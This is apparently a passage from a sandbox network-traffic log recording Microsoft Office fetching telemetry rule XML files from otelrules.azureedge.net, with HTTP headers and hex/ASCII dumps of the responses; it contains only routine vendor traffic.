2024-10-05 12:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c2f609cb-201e-0003-75fd-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-1657d5bbd48brl8we3nu8cxwgn00000000v0000000007c85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:08 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	57482	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:08 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 33b4d0ae-a01e-0032-35ff-161949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123408Z-1657d5bbd48vhs7r2p1ky7cs5w00000000x00000000005ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	57484	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:08 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: b738acd5-401e-0067-1502-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-1657d5bbd48tnj6wmberkg2xy800000000eg000000004wuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	57483	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1cc30bd5-e01e-0071-1a8c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-15767c5fc554w2fgapsyvy8ua00000000dkg0000000096e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	57485	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: f46b615b-701e-006f-6ebf-16afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-15767c5fc55qdcd62bsn50hd6s0000000dv0000000009yw7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	57486	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8a5fd43d-c01e-0066-4506-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-1657d5bbd48cpbzgkvtewk0wu000000000hg000000005f9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	57487	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 0480ed94-801e-00ac-5102-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-1657d5bbd48tnj6wmberkg2xy800000000p0000000002h56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	57488	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 7afec079-601e-000d-468c-152618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-15767c5fc55whfstvfw43u8fp40000000e60000000008wgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	57489	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: db28c537-d01e-0065-47fe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-1657d5bbd48cpbzgkvtewk0wu000000000m0000000004h07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	57490	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: a68e09c4-f01e-0052-148c-159224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-15767c5fc55d6fcl6x6bw8cpdc0000000dxg00000000c38s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	57491	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:09 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:09 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:09 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 84e7aa3f-c01e-008e-74ff-167381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123409Z-15767c5fc55rg5b7sh1vuv8t7n0000000e7g00000000pngr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:09 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	57493	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:10 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:10 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76165599-601e-000d-1a02-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123410Z-1657d5bbd48p2j6x2quer0q02800000000sg000000002z2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
